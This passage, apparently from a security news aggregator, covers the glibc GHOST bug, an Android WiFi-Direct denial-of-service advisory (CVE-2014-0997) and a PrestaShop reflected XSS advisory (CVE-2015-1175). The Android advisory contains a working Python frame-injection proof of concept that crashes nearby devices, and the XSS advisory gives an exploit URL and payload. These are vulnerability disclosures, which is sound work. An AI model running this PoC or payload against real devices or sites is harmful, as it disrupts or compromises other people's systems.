a handful of stuff that’s probably dangerous that uses this function.” Unlike past Internet-wide bugs such as Bash, patching glibc may not be the chore it was with Bash since so many components made silent Bash calls. “In this instance, you just apply the glibc update, and restart any services that are vulnerable,” Bressers said. “It’s not confusing like Shellshock was.” Qualys, in its advisory, not only shares extremely in-depth technical information on the vulnerability, but also includes a section explaining exploitation of the Exim SMTP mail server. The advisory demonstrates how to bypass NX, or No-eXecute protection as well as glibc malloc hardening, Qualys said. Qualys also said that in addition to the 2013 patch, other factors mitigate the impact of the vulnerability, including the fact that the gethostbyname functions are obsolete because of IPv6 and newer applications using a different call, getaddrinfo(). While the flaw is also exploitable locally, this scenario too is mitigated because many programs rely on gethostbyname only if another preliminary call fails and a secondary call succeeds in order to reach the overflow. The advisory said this is “impossible” and those programs are safe. There are mitigations against remote exploitation too, Qualys said. Servers, for example, use gethostbyname to perform full-circle reverse DNS checks. “These programs are generally safe because the hostname passed to gethostbyname() has normally been pre-validated by DNS software,” the advisory. “It’s not looking like a huge remote problem, right now,” Bressers said. However, while the bug may have been dormant since 2000, there is no way to tell if criminals or government-sponsored hackers have been exploiting this vulnerability. Nor is there any way to tell what will happen once legitimate security researchers—and black hats—begin looking at the vulnerability now that it’s out in the open. With Bash, for example, it didn’t take long for additional security issues to rise to the surface. Source
  11. Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ Android WiFi-Direct Denial of Service 1. *Advisory Information* Title: Android WiFi-Direct Denial of Service Advisory ID: CORE-2015-0002 Advisory URL: http://www.coresecurity.com/advisories/android-wifi-direct-denial-service Date published: 2015-01-26 Date of last update: 2015-01-26 Vendors contacted: Android Security Team Release mode: User release 2. *Vulnerability Information* Class: Uncaught Exception [CWE-248] Impact: Denial of service Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2014-0997 3. *Vulnerability Description* Some Android devices are affected by a Denial of Service attack when scanning for WiFi Direct devices. An attacker could send a specially crafted 802.11 Probe Response frame causing the Dalvik subsystem to reboot because of an Unhandle Exception on WiFiMonitor class. 4. *Vulnerable Packages* . Nexus 5 - Android 4.4.4 . Nexus 4 - Android 4.4.4 . LG D806 - Android 4.2.2 . Samsung SM-T310 - Android 4.2.2 . Motorola RAZR HD - Android 4.1.2 Other devices could be also affected. 5. *Non-vulnerable packages* . Android 5.0.1 . Android 5.0.2 6. *Vendor Information, Solutions and Workarounds* Some mitigation actions may be to avoid using WiFi-Direct or update to a non-vulnerable Android version. Contact vendor for further information. 7. *Credits* This vulnerability was discovered and researched by Andres Blanco from the CoreLabs Team. The publication of this advisory was coordinated by the Core Advisories Team. 8. *Technical Description / Proof of Concept Code* Android makes use of a modified *wpa_supplicant*[1] in order to provide an interface between the wireless driver and the Android platform framework. Below the function that handles *wpa_supplicant* events. This function returns a jstring from calling NewStringUTF method. /----- static jstring android_net_wifi_waitForEvent(JNIEnv* env, jobject) { char buf[EVENT_BUF_SIZE]; int nread = ::wifi_wait_for_event(buf, sizeof buf); if (nread > 0) { return env->NewStringUTF(buf); } else { return NULL; } } -----/ The WiFi-Direct specification defines the P2P discovery procedure to enable P2P devices to exchange device information, the device name is part of this information. The WifiP2pDevice class, located at /wifi/java/android/net/wifi/p2p/WifiP2pDevice.java, represents a Wi-Fi p2p device. The constructor method receives the string provided by the *wpa_supplicant* and throws an IllegalArgumentException in case the event is malformed. Below partial content of the WiFiP2PDevice.java file. /----- [...] /** Detailed device string pattern with WFD info * Example: * P2P-DEVICE-FOUND 00:18:6b:de:a3:6e p2p_dev_addr=00:18:6b:de:a3:6e * pri_dev_type=1-0050F204-1 name='DWD-300-DEA36E' config_methods=0x188 * dev_capab=0x21 group_capab=0x9 */ private static final Pattern detailedDevicePattern = Pattern.compile( "((?:[0-9a-f]{2}{5}[0-9a-f]{2}) " + "(\\d+ )?" + "p2p_dev_addr=((?:[0-9a-f]{2}{5}[0-9a-f]{2}) " + "pri_dev_type=(\\d+-[0-9a-fA-F]+-\\d+) " + "name='(.*)' " + "config_methods=(0x[0-9a-fA-F]+) " + "dev_capab=(0x[0-9a-fA-F]+) " + "group_capab=(0x[0-9a-fA-F]+)" + "( wfd_dev_info=0x000006([0-9a-fA-F]{12}))?" ); [...] /** * @Param string formats supported include * P2P-DEVICE-FOUND fa:7b:7a:42:02:13 p2p_dev_addr=fa:7b:7a:42:02:13 * pri_dev_type=1-0050F204-1 name='p2p-TEST1' config_methods=0x188 dev_capab=0x27 * group_capab=0x0 wfd_dev_info=000006015d022a0032 * * P2P-DEVICE-LOST p2p_dev_addr=fa:7b:7a:42:02:13 * * AP-STA-CONNECTED 42:fc:89:a8:96:09 [p2p_dev_addr=02:90:4c:a0:92:54] * * AP-STA-DISCONNECTED 42:fc:89:a8:96:09 [p2p_dev_addr=02:90:4c:a0:92:54] * * fa:7b:7a:42:02:13 * * Note: The events formats can be looked up in the wpa_supplicant code * @hide */ public WifiP2pDevice(String string) throws IllegalArgumentException { String[] tokens = string.split("[ \n]"); Matcher match; if (tokens.length < 1) { throw new IllegalArgumentException("Malformed supplicant event"); } switch (tokens.length) { case 1: /* Just a device address */ deviceAddress = string; return; case 2: match = twoTokenPattern.matcher(string); if (!match.find()) { throw new IllegalArgumentException("Malformed supplicant event"); } deviceAddress = match.group(2); return; case 3: match = threeTokenPattern.matcher(string); if (!match.find()) { throw new IllegalArgumentException("Malformed supplicant event"); } deviceAddress = match.group(1); return; default: match = detailedDevicePattern.matcher(string); if (!match.find()) { throw new IllegalArgumentException("Malformed supplicant event"); } deviceAddress = match.group(3); primaryDeviceType = match.group(4); deviceName = match.group(5); wpsConfigMethodsSupported = parseHex(match.group(6)); deviceCapability = parseHex(match.group(7)); groupCapability = parseHex(match.group(8)); if (match.group(9) != null) { String str = match.group(10); wfdInfo = new WifiP2pWfdInfo(parseHex(str.substring(0,4)), parseHex(str.substring(4,8)), parseHex(str.substring(8,12))); } break; } if (tokens[0].startsWith("P2P-DEVICE-FOUND")) { status = AVAILABLE; } } [...] -----/ On some Android devices when processing a probe response frame with a WiFi-Direct(P2P) information element that contains a device name attribute with specific bytes generates a malformed supplicant event string that ends up throwing the IllegalArgumentException. As this exception is not handled the Android system restarts. Below partial content of the logcat of a Samsung SM-T310 running Android 4.2.2. /----- I/p2p_supplicant( 2832): P2P-DEVICE-FOUND 00.EF.00 p2p_dev_addr=00.EF.00 pri_dev_type=10-0050F204-5 'fa¬¬' config_methods=0x188 dev_capab=0x21 group_capab=0x0 E/AndroidRuntime( 2129): !@*** FATAL EXCEPTION IN SYSTEM PROCESS: WifiMonitor E/AndroidRuntime( 2129): java.lang.IllegalArgumentException: Malformed supplicant event E/AndroidRuntime( 2129): at android.net.wifi.p2p.WifiP2pDevice.<init>(WifiP2pDevice.java:229) E/AndroidRuntime( 2129): at android.net.wifi.WifiMonitor$MonitorThread.handleP2pEvents(WifiMonitor.java:966) E/AndroidRuntime( 2129): at android.net.wifi.WifiMonitor$MonitorThread.run(WifiMonitor.java:574) E/android.os.Debug( 2129): !@Dumpstate > dumpstate -k -t -z -d -o /data/log/dumpstate_sys_error -----/ 8.1. *Proof of Concept* This PoC was implemented using the open source library Lorcon [2] and PyLorcon2 [3], a Python wrapper for the Lorcon library. /----- #!/usr/bin/env python import sys import time import struct import PyLorcon2 def get_probe_response(source, destination, channel): frame = str() frame += "\x50\x00" # Frame Control frame += "\x00\x00" # Duration frame += destination frame += source frame += source frame += "\x00\x00" # Sequence Control frame += "\x00\x00\x00\x00\x00\x00\x00\x00" # Timestamp frame += "\x64\x00" # Beacon Interval frame += "\x30\x04" # Capabilities Information # SSID IE frame += "\x00" frame += "\x07" frame += "DIRECT-" # Supported Rates frame += "\x01" frame += "\x08" frame += "\x8C\x12\x98\x24\xB0\x48\x60\x6C" # DS Parameter Set frame += "\x03" frame += "\x01" frame += struct.pack("B", channel) # P2P frame += "\xDD" frame += "\x27" frame += "\x50\x6F\x9A" frame += "\x09" # P2P Capabilities frame += "\x02" # ID frame += "\x02\x00" # Length frame += "\x21\x00" # P2P Device Info frame += "\x0D" # ID frame += "\x1B\x00" # Length frame += source frame += "\x01\x88" frame += "\x00\x0A\x00\x50\xF2\x04\x00\x05" frame += "\x00" frame += "\x10\x11" frame += "\x00\x06" frame += "fafa\xFA\xFA" return frame def str_to_mac(address): return "".join(map(lambda i: chr(int(i, 16)), address.split(":"))) if __name__ == "__main__": if len(sys.argv) != 3: print "Usage:" print " poc.py <iface> <target>" print "Example:" print " poc.py wlan0 00:11:22:33:44:55" sys.exit(-1) iface = sys.argv[1] destination = str_to_mac(sys.argv[2]) context = PyLorcon2.Context(iface) context.open_injmon() channel = 1 source = str_to_mac("00:11:22:33:44:55") frame = get_probe_response(source, destination, channel) print "Injecting PoC." for i in range(100): context.send_bytes(frame) time.sleep(0.100) -----/ 9. *Report Timeline* . 2014-09-26: Core Security contacts Android security team to inform them that a vulnerability has been found in Android. Core Security sends a draft advisory with technical details and PoC files. . 2014-09-29: Android Security Team acknowledges reception of the advisory. . 2014-09-30: Core Security notifies that the tentative publication date is set for Oct 20rd, 2014. . 2014-09-30: Android Security Team acknowledges. . 2014-10-16: Core Security requests a status update. . 2014-10-16: Android Security Team responds that they have classify the vulnerability as low severity and don't currently have a timeline for releasing a fix. . 2014-10-20: Core Security does not completely agrees with the vulnerability classification and reschedule the publication of the advisory. . 2014-10-16: Android Security Team acknowledges and strengthens it's position that they don't currently have a timeline for releasing a fix. . 2015-01-06: Core Security requests a status update. . 2015-01-12: Core Security asks for confirmation of reception of the previous email. . 2015-01-16: Android Security Team acknowledges and respond that they don't currently have a timeline for releasing a fix. . 2015-01-19: Core Security notifies that vendor cooperation is needed in order to keep this process coordinated. If vendor refuses to provide the requested information the advisory will be released tagged as 'user release'. The advisory is re-scheduled for January 26th, 2015. . 2015-01-20: Android Security Team acknowledges and respond that they don't currently have a timeline for releasing a fix. . 2015-01-26: The advisory CORE-2015-0002 is published. 10. *References* [1] - wpa_supplicant site. [url]http://w1.fi/wpa_supplicant/[/url] [2] - Lorcon site. [url]https://code.google.com/p/lorcon[/url] [3] - PyLorcon2 site. [url]http://code.google.com/p/pylorcon2[/url] 11. *About CoreLabs* CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: [url]http://corelabs.coresecurity.com[/url]. 12. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: [url]http://www.coresecurity.com[/url]. 13. *Disclaimer* The contents of this advisory are copyright (c) 2014 Core Security and (c) 2014 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: [url]http://creativecommons.org/licenses/by-nc-sa/3.0/us/[/url] 14. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at [url]http://www.coresecurity.com/files/attachments/core_security_advisories.asc[/url]. Source
  12. CVE-2015-1175-xss-prestashop Information ——————– Advisory by Octogence. Name: Reflected XSS Vulnerability in prestashop ecommerce software Affected Software : Prestashop Affected Versions: 1.6.0.9 and possibly below Vendor Homepage : https://www.prestashop.com/ Vulnerability Type : Cross-site Scripting Severity : High CVE ID: CVE-2015-1175 Impact —— An attacker can craft a URL with malicious JavaScript code which executes in the browser. Technical Details —————– Sample URL: http://localhost/prestashop/prestashop/modules/blocklayered/blocklayered-ajax.php?layered_id_feature_20=20_7&id_category_layered=8&layered_price_slider=16_532f363<img%20src%3da%20onerror%3dalert(1)>9c032&orderby=position&orderway=asctrue&_=1420314938300 Parameter: layered_price_slider Sample Payload: <img src=a onerror=alert(1)> For more information on cross-site scripting vulnerabilities read the following article: https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) Advisory Timeline (mm/dd/yyyy) ——————– 01/07/2015 – Reported 01/12/2015 – Vulnerability Fixed 01/18/2015 – Advisory Released http://octogence.com/advisories/cve-2015-1175-xss-prestashop/ Regards Sudhanshu Octogence Tech Solutions Noida, India Mobile | +91-9971658929 Website| www.octogence.com Source : Prestashop 1.6.0.9 Cross Site Scripting ? Packet Storm
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